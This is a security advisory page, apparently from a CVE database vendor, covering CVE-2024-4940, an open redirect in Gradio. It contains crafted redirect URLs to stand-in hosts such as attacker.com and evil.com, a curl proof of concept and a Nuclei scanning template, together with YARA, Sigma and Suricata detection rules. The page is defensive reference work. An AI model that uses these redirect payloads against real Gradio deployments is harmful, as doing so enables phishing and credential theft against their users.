CVE-2024-4940
Executive Summary
CVE-2024-4940 is an open redirect vulnerability in the Gradio web application framework (gradio-app/gradio). The flaw allows an attacker to craft a malicious URL that, when processed by the application, redirects a user to an arbitrary external website. This can be leveraged for phishing attacks, Cross-site Scripting (XSS), and Server-Side Request Forgery (SSRF). The vulnerability stems from improper validation of user-supplied input in URL handling. A public proof-of-concept (PoC) exists via a Nuclei template, and the vulnerability is classified as medium severity (CVSS 5.4). No official patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gradio is a Python package (PyPI) used for building machine learning web demos. This open redirect vulnerability could be exploited in supply chain attacks if an attacker compromises a Gradio-based application and uses the redirect to deliver malicious payloads or steal credentials. Organizations using Gradio in their ML pipelines should treat this as a high-priority supply chain risk.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – the victim must click the crafted link
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the potential for chaining with XSS or SSRF elevates the risk in real-world scenarios.
Deep Dive & Mechanics
The vulnerability exists in Gradio's file serving endpoint. The application improperly validates the file parameter in the URL path. By crafting a request like GET /file=http://attacker.com/, the application returns a 302 redirect to the attacker-controlled domain. This is a classic open redirect (CWE-601).
Root Cause: The application does not sanitize or validate the URL scheme or host in the file parameter, allowing arbitrary redirects.
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-gradio-instance.com/file=http://evil.com/phish - Victim clicks the link (e.g., via email or social engineering).
- Gradio processes the request and returns a 302 redirect to
http://evil.com/phish. - Victim's browser follows the redirect, landing on the attacker's phishing page.
Chaining Possibilities:
- Phishing: Redirect to a fake login page to steal credentials.
- XSS: If the redirect target is an attacker-controlled page with malicious JavaScript, the victim's session can be hijacked.
- SSRF: The redirect could be used to bypass URL validation and make the server request internal resources.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Gradio's file handler (simplified)
@app.route('/file=<path:filepath>')
def serve_file(filepath):
# No validation of filepath
return redirect(filepath)
Patched Code (Expected):
# Patched version should validate the filepath
@app.route('/file=<path:filepath>')
def serve_file(filepath):
# Validate that filepath is a local file, not a URL
if filepath.startswith('http://') or filepath.startswith('https://'):
abort(400, "Invalid file path")
# Additional validation...
return send_file(filepath)
Note: No official patch has been released. The above is a hypothetical fix.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A publicly accessible Gradio instance (e.g.,
http://target-gradio.com) - An attacker-controlled server (e.g.,
http://attacker.com)
Exploit Steps:
- Craft the malicious URL:
http://target-gradio.com/file=http://attacker.com/malicious - Send the link to the victim via phishing email or social media.
- When the victim clicks, they are redirected to
http://attacker.com/malicious.
PoC using curl:
curl -v "http://target-gradio.com/file=http://attacker.com/"
Expected response: HTTP 302 with Location: http://attacker.com/
Nuclei Template (Provided):
id: CVE-2024-4940
info:
name: Gradio - Open Redirect
author: DhiyaneshDK
severity: medium
description: |
An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.
impact: |
Attackers can redirect users to malicious websites via open redirect, potentially enabling phishing attacks.
remediation: |
Update Gradio to a version that patches the open redirect vulnerability.
reference:
- https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-4940
cwe-id: CWE-601
epss-score: 0.07236
epss-percentile: 0.91647
metadata:
verified: true
max-request: 1
vendor: gradio_project
product: gradio
shodan-query:
- http.html:"__gradio_mode__"
- http.title:"gradio"
fofa-query:
- body="__gradio_mode__"
- title="gradio"
google-query: intitle:"gradio"
tags: cve,cve2024,redirect,oast,gradio,vuln
http:
- raw:
- |
GET /file=http://oast.pro/ HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
part: header
- type: status
status:
- 302
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests to
/file=http://or/file=https://. - Look for 302 redirect responses with external domains in the
Locationheader. - Use the provided Nuclei template for scanning.
Defense:
- Implement input validation on the
fileparameter to reject URLs. - Use a whitelist of allowed file paths.
- Apply a Web Application Firewall (WAF) rule to block requests with
file=httporfile=https. - Update Gradio to a patched version when available.
Indicators of Compromise (IOCs)
- URL Pattern:
*/file=http://*or*/file=https://* - HTTP Response: 302 redirect with
Locationheader pointing to an external domain - Log Entry Example:
192.168.1.100 - - [10/Oct/2024:12:00:00 +0000] "GET /file=http://evil.com/ HTTP/1.1" 302 0 "-" "Mozilla/5.0" - Network Traffic: Outbound connections to attacker-controlled domains after the redirect
Detection Engineering
YARA Rule
rule CVE_2024_4940_Gradio_Open_Redirect {
meta:
description = "Detects Gradio open redirect exploitation attempts"
author = "Valters IT"
date = "2024-10-10"
reference = "CVE-2024-4940"
severity = "medium"
strings:
$redirect_pattern = "/file=http://" ascii wide nocase
$redirect_pattern2 = "/file=https://" ascii wide nocase
$redirect_pattern3 = "/file=//" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: Gradio Open Redirect Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-4940 open redirect in Gradio
author: Valters IT
date: 2024/10/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4940
- https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- "/file=http://"
- "/file=https://"
- "/file=//"
condition: selection
falsepositives:
- Legitimate use of file parameter with local paths (unlikely)
level: medium
tags:
- attack.initial-access
- attack.t1190
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-4940 Gradio Open Redirect Exploitation"; flow:to_server,established; content:"/file="; http_uri; content:"http://"; distance:0; within:7; http_uri; sid:1000001; rev:1; reference:cve,2024-4940; reference:url,https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60; classtype:attempted-recon; priority:2;)
Remediation & Mitigation
Immediate Actions:
- Update Gradio: Check for patched versions from the official repository. If unavailable, apply a virtual patch.
- WAF Rule: Block requests containing
/file=http://or/file=https://in the URI. - Input Validation: Implement server-side validation to reject non-local file paths.
Long-term Fix:
- The vendor should release a patch that properly validates the
fileparameter, restricting it to local file paths only. - Conduct a security audit of all URL handling endpoints.
Workaround:
- If patching is not possible, disable the file serving endpoint or restrict it to authenticated users only.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 58B2A1165CCF3AE41A9B5348] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.